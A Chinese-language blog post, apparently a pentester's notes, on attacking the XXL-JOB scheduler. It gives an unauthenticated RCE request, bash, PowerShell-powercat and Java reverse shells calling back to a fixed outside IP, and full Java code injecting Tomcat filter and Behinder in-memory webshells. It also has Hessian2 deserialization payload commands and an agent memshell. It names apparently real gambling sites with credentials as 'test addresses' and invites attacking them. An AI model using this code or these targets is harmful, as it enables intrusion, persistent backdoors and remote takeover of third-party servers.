xxl-job分为:管理端xxl-job-admin、执行端xxl-job-executor,前xxl-job打agent内存马要求管理端和执行端处于同一台主机上。现在是分为两种情况:

  1. 在同一台:打vagent内存马
  2. 不在同一台:filter内存马,参考:xxl-job-executor注入filter内存马-https://xz.aliyun.com/t/13443

管理端:

  • 后台——代码是spring的,默认8080端口

执行器:

  • web接口——使用的是netty,默认9999端口
  • web服务——spring,默认8081端口

内存马注入情况:

  • vagent内存马——注入在管理端8080端口上,需要管理端和执行端处于同一台主机上。
  • tomcat filter内存马——注入在管理端8081端口上,需要执行器web服务开启,其是spring的。
  • netty内存马——注入在执行器9999端口上,缺点是原本执行逻辑会消失。

启动环境

使用vulhub启动环境

cd vulhub/xxl-job/unacc
docker-compose up -d

随后访问9999端口,如果能访问就是成功了,地址:http://192.168.32.128:8080/xxl-job-admin/toLogin。图片.png然后是使用idea自己搭:
github下载源码,我是先下了个2.2.0版本的,地址:https://github.com/xuxueli/xxl-job/releases

1.导入数据库,sql文件在xxl-job-2.2.0\doc\db
然后登录进数据库
source tables_xxl_job.sql

2.修改配置文件数据库配置
src/main/resources/application.properties

然后分别启动后台、执行端。
图片.png

executor未授权访问漏洞

先复现一下漏洞(XXL-JOB executor 未授权访问漏洞):
图片.png
发送数据包:
bash -i >& /dev/tcp/<vps-ip>/6666 0>&1

POST /run HTTP/1.1
Host: 192.168.32.128:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 388

{
  "jobId":2,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/119.3.153.81/6666 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

成功得到shell
图片.png
测试了一下,重复执行好像执行不起,需要修改jobId值:
图片.png

反弹shell(出网)

计划任务:0 0 0 * * ? *
windows反弹shell(测试不成功)
powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

# 起python服务
cd /root/tools/reverse_shell/
python3 -m http.server 8000

# 监听
nc -lvnp 6666

# 反弹shell命令
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://119.3.153.81:8000/powercat.ps1');powercat -c 119.3.153.81 -p 6666 -e cmd"

测试地址:https://www.06687.com、http://107.149.212.127:9090 admin/123456。菠菜网站应该随便试。

linux反弹shell:
运行模式选择 GLUE(Shell) ,在WebIDE中添加代码,直接反弹就行了。

#!/bin/bash
bash -i >& /dev/tcp/119.3.153.81/6666 0>&1

java代码反弹shell
官方文档:分布式任务调度平台XXL-JOB,java的模板如下:

package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {
	@Override
	public ReturnT<String> execute(String param) throws Exception {
		XxlJobLogger.log("XXL-JOB, Hello World.");
		return ReturnT.SUCCESS;
	}
}

参考文章中的代码:https://xz.aliyun.com/t/13899,但是很明显不对,没有继承IJobHandler
在IDEA中导入依赖:

<!-- https://mvnrepository.com/artifact/com.xuxueli/xxl-job-core -->
<dependency>
    <groupId>com.xuxueli</groupId>
    <artifactId>xxl-job-core</artifactId>
    <version>2.2.0</version>
</dependency>

然后修改类,修改方法为execute,添加继承:public class execJobHandler extends IJobHandler

package MemShell.xxljob;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class execJobHandler extends IJobHandler {
    
    class StreamConnector extends Thread {
        InputStream hx;
        OutputStream il;

        StreamConnector(InputStream hx, OutputStream il) {
            this.hx = hx;
            this.il = il;
        }

        public void run() {
            BufferedReader ar = null;
            BufferedWriter slm = null;
            try {
                ar = new BufferedReader(new InputStreamReader(this.hx));
                slm = new BufferedWriter(new OutputStreamWriter(this.il));
                char[] buffer = new char[8192];
                int length;
                while ((length = ar.read(buffer, 0, buffer.length)) > 0) {
                    slm.write(buffer, 0, length);
                    slm.flush();
                }
            } catch (Exception localException) {
            }
            try {
                if (ar != null) {
                    ar.close();
                }
                if (slm != null) {
                    slm.close();
                }
            } catch (Exception localException1) {
            }
        }
    }
    public ReturnT<String> execute(String param) throws Exception{
        reverseConn("119.3.153.81:6666");
        return ReturnT.SUCCESS;
    }

    public static void main(String[] args) {
        System.out.println("0");
    }

    public void reverseConn(String ip) {
        String ipport = ip;
        try
        {
            String ShellPath;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                ShellPath = new String("/bin/sh");
            } else {
                ShellPath = new String("cmd.exe");
            }
            Socket socket = new Socket(ipport.split(":")[0],
                    Integer.parseInt(ipport.split(":")[1]));
            Process process = Runtime.getRuntime().exec(ShellPath);
            new StreamConnector(process.getInputStream(),
                    socket.getOutputStream()).start();
            new StreamConnector(process.getErrorStream(),
                    socket.getOutputStream()).start();
            new StreamConnector(socket.getInputStream(),
                    process.getOutputStream()).start();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}

执行后反弹shell成功
图片.png

命令执行回显(不出网)

代码:

package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class DemoGlueJobHandler extends IJobHandler {

   @Override
   public ReturnT<String> execute(String param) throws Exception {
       XxlJobLogger.log("XXL-JOB, Hello World.");
       String command = "ls ./";
       try {
           String commandOutput = executeCommand(command);
           XxlJobLogger.log("Command Output:\n" + commandOutput);
      } catch (IOException e) {
           XxlJobLogger.log("Error executing command: " + e.getMessage());
           return ReturnT.FAIL;
      }

       return ReturnT.SUCCESS;
  }

   private String executeCommand(String command) throws IOException {
       Process process = Runtime.getRuntime().exec(command);
       StringBuilder output = new StringBuilder();

       BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
       String line;
       while ((line = reader.readLine()) != null) {
           output.append(line).append("\n");
      }

       int exitCode;
       try {
           exitCode = process.waitFor();
      } catch (InterruptedException e) {
           Thread.currentThread().interrupt();
           throw new IOException("Command execution interrupted");
      }

       if (exitCode != 0) {
           throw new IOException("Command execution failed with exit code: " + exitCode);
      }

       return output.toString();
  }
}

调度日志——执行日志,查看结果图片.png

后台注filter+冰蝎内存马

参考:

  • xxl-job-executor注入filter内存马-https://xz.aliyun.com/t/13443,注意文章中代码只适用于v2.3.0,不过修改也很简单,替换XxlJobHelperXxlJobLogger即可。

条件:

  • 管理端admin、执行端executor不在同一机器
  • 使用Tomcat

原理:
适用于你能访问到执行器的情况,执行器的web接口使用的是netty,但他还存在一个web服务是基于spring的,默认端口为8081,对应配置文件在src/main/resources/application.properties,正常来说是开启的。

# web port
server.port=8081
# no web
#spring.main.web-environment=false

注意写代码的时候有个区别:

  • v2.3.0才有XxlJobHelper
  • v2.2.0使用的是XxlJobLoggerexecute函数固定返回类型必须为ReturnT<String>

其实也就是日志输出的代码变了:图片.png版本2.2.0代码:

package MemShell.xxljob;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;

import com.xxl.job.core.biz.model.ReturnT;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

//import com.xxl.job.core.context.XxlJobLogger;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.handler.IJobHandler;

public class FilterMemhellJobHandler extends IJobHandler {

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobLogger.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobLogger.log(e.toString());
            return null;
        }
        return obj;
    }

    public Object getSuperClassField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobLogger.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobLogger.log(e.toString());
            return null;
        }
        return obj;
    }

    public ReturnT<String> execute(String param) throws Exception {
        Object obj = null;
        String port = "";
        String filterName = "xxl-job-filter";
        // 1.创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                HttpServletResponse resp = (HttpServletResponse) servletResponse;
                if (req.getParameter("cmd") != null) {
                    // 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
                    ArrayList<String> cmdList = new ArrayList<>();
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        cmdList.add("cmd.exe");
                        cmdList.add("/c");
                    } else {
                        cmdList.add("/bin/bash");
                        cmdList.add("-c");
                    }

                    cmdList.add(req.getParameter("cmd"));
                    String[] cmds = cmdList.toArray(new String[0]);

                    Process process = new ProcessBuilder(cmds).start();
                    InputStream inputStream = process.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
                    String line;
                    while ((line = reader.readLine()) != null) {
                        servletResponse.getWriter().println(line);
                    }
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {

            }
        };

        //2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());

        //3. 创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //4. 创建ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);

        //5. 找StandardContext
        /*获取group*/
        Thread currentThread = Thread.currentThread();
        Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup group = (ThreadGroup)groupField.get(currentThread);

        /*获取threads*/
        Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[])threadsField.get(group);

        for (Thread thread : threads) {
            String threadName = thread.getName();
            /*获取tomcat container*/
            if (threadName.contains("container")) {
                /*获取this$0*/
                obj = getField(thread, "this\$0");
                if (port == "") {
                    continue;
                } else {
                    break;
                }
            } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
                /*获取web端口,可在log中查看,默认8081端口*/
                port = threadName.substring(9, threadName.length() - 13);
                if (obj == null){
                    continue;
                } else {
                    break;
                }
            }
        }

        obj = getField(obj, "tomcat");
        obj = getField(obj, "server");
        org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");

        for (org.apache.catalina.Service service : services){
            try {
                obj = getField(service, "engine");
                if (obj != null) {
                    HashMap children = (HashMap)getSuperClassField(obj, "children");
                    // xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
                    obj = children.get("localhost");
                    children = (HashMap)getSuperClassField(obj, "children");

                    // 获取StandardContext
                    StandardContext standardContext = (StandardContext) children.get("");
                    standardContext.addFilterDef(filterDef);

                    // 将FilterDefs 添加到FilterConfig
                    Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");

                    // 添加ApplicationFilterConfig
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    filterConfigs.put(filterName,filterConfig);

                    //将自定义的filter放到最前边执行
                    standardContext.addFilterMapBefore(filterMap);

                    XxlJobLogger.log("success! memshell port:"+port);
                }
            } catch (Exception e){
                XxlJobLogger.log(e.toString());
                continue;
            }
        }
        return ReturnT.SUCCESS;
    }
}

通过java执行即可,本地测试可以成功,端口是8081。图片.png弹计算器:
图片.png

2.3.0的代码如下:

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.util.ArrayList;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public Object getSuperClassField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public void execute() throws Exception {
        Object obj = null;
        String port = "";
        String filterName = "xxl-job-filter";
        // 1.创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                HttpServletResponse resp = (HttpServletResponse) servletResponse;
                if (req.getParameter("cmd") != null) {
                    // 由于xxl-job中的groovy不支持new String[]{"cmd.exe", "/c", req.getParameter("cmd")};这种语法,使用ArrayList的方式绕过
                    ArrayList<String> cmdList = new ArrayList<>();
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        cmdList.add("cmd.exe");
                        cmdList.add("/c");
                    } else {
                        cmdList.add("/bin/bash");
                        cmdList.add("-c");
                    }

                    cmdList.add(req.getParameter("cmd"));
                    String[] cmds = cmdList.toArray(new String[0]);

                    Process process = new ProcessBuilder(cmds).start();
                    InputStream inputStream = process.getInputStream();
                    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
                    String line;
                    while ((line = reader.readLine()) != null) {
                        servletResponse.getWriter().println(line);
                    }
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {

            }
        };

        //2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());

        //3. 创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //4. 创建ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);

        //5. 找StandardContext
        /*获取group*/
        Thread currentThread = Thread.currentThread();
        Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup group = (ThreadGroup)groupField.get(currentThread);

        /*获取threads*/
        Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[])threadsField.get(group);

        for (Thread thread : threads) {
            String threadName = thread.getName();
            /*获取tomcat container*/
            if (threadName.contains("container")) {
                /*获取this$0*/
                obj = getField(thread, "this\$0");
                if (port == "") {
                    continue;
                } else {
                    break;
                }
            } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
                /*获取web端口,可在log中查看,默认8081端口*/
                port = threadName.substring(9, threadName.length() - 13);
                if (obj == null){
                    continue;
                } else {
                    break;
                }
            }
        }

        obj = getField(obj, "tomcat");
        obj = getField(obj, "server");
        org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");

        for (org.apache.catalina.Service service : services){
            try {
                obj = getField(service, "engine");
                if (obj != null) {
                    HashMap children = (HashMap)getSuperClassField(obj, "children");
                    // xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
                    obj = children.get("localhost");
                    children = (HashMap)getSuperClassField(obj, "children");

                    // 获取StandardContext
                    StandardContext standardContext = (StandardContext) children.get("");
                    standardContext.addFilterDef(filterDef);

                    // 将FilterDefs 添加到FilterConfig
                    Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");

                    // 添加ApplicationFilterConfig
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    filterConfigs.put(filterName,filterConfig);

                    //将自定义的filter放到最前边执行
                    standardContext.addFilterMapBefore(filterMap);

                    XxlJobHelper.log("success! memshell port:"+port);
                }
            } catch (Exception e){
                XxlJobHelper.log(e.toString());
                continue;
            }
        }
    }
}

本地测试,也是能成功注入图片.pngv2.3.0注冰蝎马,注冰蝎马也很简单, 修改一下dofilter的代码即可:

package MemShell.xxljob;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedReader;
import java.io.IOException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.ArrayList;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

    public Object getField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public Object getSuperClassField(Object obj, String fieldName){
        try {
            Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
            obj = field.get(obj);
        } catch (IllegalAccessException e) {
            XxlJobHelper.log(e.toString());
            return null;
        } catch (NoSuchFieldException e) {
            XxlJobHelper.log(e.toString());
            return null;
        }
        return obj;
    }

    public void execute() throws Exception {
        Object obj = null;
        String port = "";
        String filterName = "xxl-job-filter";
        // 1.创建filter
        Filter filter = new Filter() {
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                try {
//                    System.out.println("Do Filter BX ......");
                    // 获取request和response对象
                    HttpServletRequest request = (HttpServletRequest) servletRequest;
                    HttpServletResponse response = (HttpServletResponse)servletResponse;
                    HttpSession session = request.getSession();

                    //create pageContext
                    HashMap pageContext = new HashMap();
                    pageContext.put("request",request);
                    pageContext.put("response",response);
                    pageContext.put("session",session);

                    if (request.getMethod().equals("POST")) {
                        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                        session.putValue("u", k);
                        Cipher c = Cipher.getInstance("AES");
                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                        //revision BehinderFilter
                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                        method.setAccessible(true);
                        byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                        Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                        evilclass.newInstance().equals(pageContext);
                    }
                }catch (Exception e){
                    e.printStackTrace();
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {

            }
        };

        //2. 创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());

        //3. 创建一个filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //4. 创建ApplicationFilterConfig构造函数
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);

        //5. 找StandardContext
        /*获取group*/
        Thread currentThread = Thread.currentThread();
        Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
        groupField.setAccessible(true);
        ThreadGroup group = (ThreadGroup)groupField.get(currentThread);

        /*获取threads*/
        Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[])threadsField.get(group);

        for (Thread thread : threads) {
            String threadName = thread.getName();
            /*获取tomcat container*/
            if (threadName.contains("container")) {
                /*获取this$0*/
                obj = getField(thread, "this\$0");
                if (port == "") {
                    continue;
                } else {
                    break;
                }
            } else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
                /*获取web端口,可在log中查看,默认8081端口*/
                port = threadName.substring(9, threadName.length() - 13);
                if (obj == null){
                    continue;
                } else {
                    break;
                }
            }
        }

        obj = getField(obj, "tomcat");
        obj = getField(obj, "server");
        org.apache.catalina.Service[] services = (org.apache.catalina.Service[])getField(obj, "services");

        for (org.apache.catalina.Service service : services){
            try {
                obj = getField(service, "engine");
                if (obj != null) {
                    HashMap children = (HashMap)getSuperClassField(obj, "children");
                    // xxl-job-executor tomcat9 默认是localhost,并未考虑特殊情况
                    obj = children.get("localhost");
                    children = (HashMap)getSuperClassField(obj, "children");

                    // 获取StandardContext
                    StandardContext standardContext = (StandardContext) children.get("");
                    standardContext.addFilterDef(filterDef);

                    // 将FilterDefs 添加到FilterConfig
                    Map filterConfigs = (Map) getSuperClassField(standardContext, "filterConfigs");

                    // 添加ApplicationFilterConfig
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    filterConfigs.put(filterName,filterConfig);

                    //将自定义的filter放到最前边执行
                    standardContext.addFilterMapBefore(filterMap);

                    XxlJobHelper.log("success! memshell port:"+port);
                }
            } catch (Exception e){
                XxlJobHelper.log(e.toString());
                continue;
            }
        }
    }
}

执行后连接冰蝎成功图片.png

API Hessian反序列化

参考:

  • 记一次曲折的XXL-JOB API Hessian反序列化到Getshell-https://forum.butian.net/share/2592
  • XXL-JOB Hessian2反序列化漏洞-http://www.mi1k7ea.com/2021/04/22/XXL-JOB-Hessian2反序列化漏洞/

影响版本:XXL-JOB <= 2.0.2

漏洞原理:XXL-JOB2.0.2及以下版本中的接口存在未授权访问漏洞,该接口会进行Hessian2反序列化操作,导致存在Hessian2反序列化漏洞从而RCE

使用工具JNDIExploit-1.0-https://github.com/welk1n/JNDI-Injection-Exploit:

cd ~/tools/java-tools/JNDIExploit-1.0
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 119.3.153.81 -C "curl a98aca9a9b.ipv6.1433.eu.org."

图片.png利用最新版marshalsec的Hessian2这个Gadget来生成payload:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://119.3.153.81:1099/b3btbb > xxl.ser

Burp中,使用”Paste from file”选项从文件中直接复制Hessian2序列化内容到POSTbody中,发送攻击报文,如下响应内容即无序列化内容的格式问题:image.png

注Agent内存马

参考:

  • 《XXL-JOB 深度利用》-https://mp.weixin.qq.com/s/8KZzBEX36noXBGFlWa1UQQ
  • 《xxl-job利用研究》-https://www.kitsch.life/2024/01/31/xxl-job利用研究/

条件:
适用于调度平台和执行器在一台机器上的情况,原理是写一个agent内存马的jar到本地,再打agent内存马到调度平台的进程上,注意不是执行器的进程。

先用的《xxl-job利用研究》里的agent内存马。
图片.png
因为是windows,修改代码里的路径为C:\Windows\Temp,然后我这里是xxl-job v2.3.0,修改代码中的XxlJobLogger为XxlJobHelper。
最后代码v2.3.0:

代码量太多了,CSDN好像放不下,见语雀:https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61#ecPWo)

打成功了,但是连接不上图片.png进windows查看发现目录下生成了xxl-job.jar,手工执行了一下,发现注入内存马没成功,应该是jar包的问题。
于是换agent马,地址:https://github.com/veo/vagent

需要先把这个Agent马转换为压缩包+base64的格式,脚本如下:

package MemShell.Agent;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.*;

import java.io.File;
import java.io.IOException;

public class DecompressAndEncodeToBase64 {
    public static void main(String[] args) throws Exception {
        String base64String = readAndCompressFileToBase64("C:\\Windows\\Temp\\vagent.jar");

        base64String = generateOutput(base64String);

        BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(
                new FileOutputStream("C:\\Windows\\Temp\\xxl-jobs.txt"), StandardCharsets.UTF_8));
        writer.write(base64String);
        writer.close();
    }
    public static String readAndCompressFileToBase64(String filePath) {
        try {
            byte[] fileBytes = Files.readAllBytes(Paths.get(filePath));

            Deflater deflater = new Deflater();
            deflater.setInput(fileBytes);
            deflater.finish();

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            while (!deflater.finished()) {
                int count = deflater.deflate(buffer);
                byteArrayOutputStream.write(buffer, 0, count);
            }
            deflater.end();

            byte[] compressedBytes = byteArrayOutputStream.toByteArray();
            String base64String = Base64.getEncoder().encodeToString(compressedBytes);

            return base64String;
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }
    private static String generateOutput(String string) {
        /*
         * 将字符串分割成指定长度的子字符串列表。
         */
        int splitLength = 200;
        int groupSize = 200;
        String[] substrings = new String[(int) Math.ceil((double) string.length() / splitLength)];
        for (int i = 0; i < substrings.length; i++) {
            int start = i * splitLength;
            int end = Math.min(start + splitLength, string.length());
            substrings[i] = string.substring(start, end);
        }

        StringBuilder sb = new StringBuilder();
        /*
         * 将字符串分割成指定长度的子字符串,并生成 Java 代码输出。
         * 每个 private static void init{}(){} 方法包含 groupSize 行输出。
         */
        for (int i = 0; i < substrings.length; i++) {
            if (i % groupSize == 0) {
                // 输出 private static void init{}(){} 方法头部
                sb.append("private static void init").append(i / groupSize).append("() {\n");
            }

            // 输出当前子字符串
            sb.append("\tsb.append(\"").append(substrings[i]).append("\");\n");

            if ((i + 1) % groupSize == 0 || i == substrings.length - 1) {
                // 输出 private static void init{}(){} 方法尾部
                sb.append("}\n\n");
            }
        }

        System.out.println(sb.toString());
        return sb.toString();
    }
}

处理后是这样的图片.png最后代码如下:

代码量太多了,CSDN好像放不下,见语雀:https://ganmaocai.yuque.com/ghgp8x/zoy1yn/faet35ae9gpxzn61#ecPWo)

添加任务执行图片.png
然后再注入
地址:http://192.168.32.129:8080/xxl-job-admin/faviconb
密码:自定义加解密协议
加解密协议如下,代码见github:图片.png然后连接
图片.png
这次是成功了,冰蝎成功连接图片.png
但是发现个问题,好像系统没法正常使用了,一直爆这个错:
图片.png后面再研究研究

后台注netty内存马

参考:《xxl-job利用研究》-https://www.kitsch.life/2024/01/31/xxl-job利用研究/

注意:
踩的坑有groovy里的$需要被转义,不然val$eventExecutor会等价于eventExecutor。注册的handler必须加上@ChannelHandler.Sharable标签,否则会执行器会报错崩溃。
然后netty

缺点:
坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失,建议跑路前重启一下执行器

效果:

Spring cloud gateway

搭建环境

cd spring/CVE-2022-22947
docker-compose up -d

idea引入依赖

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
    <version>3.0.3</version>
</dependency>
<dependency>
    <groupId>io.netty</groupId>
    <artifactId>netty-all</artifactId>
    <version>4.1.63.Final</version>
</dependency>

参考

参考以下文章:

  • 利用shiro反序列化注入冰蝎内存马-https://xz.aliyun.com/t/10696
  • 冰蝎改造之不改动客户端=>内存马-https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
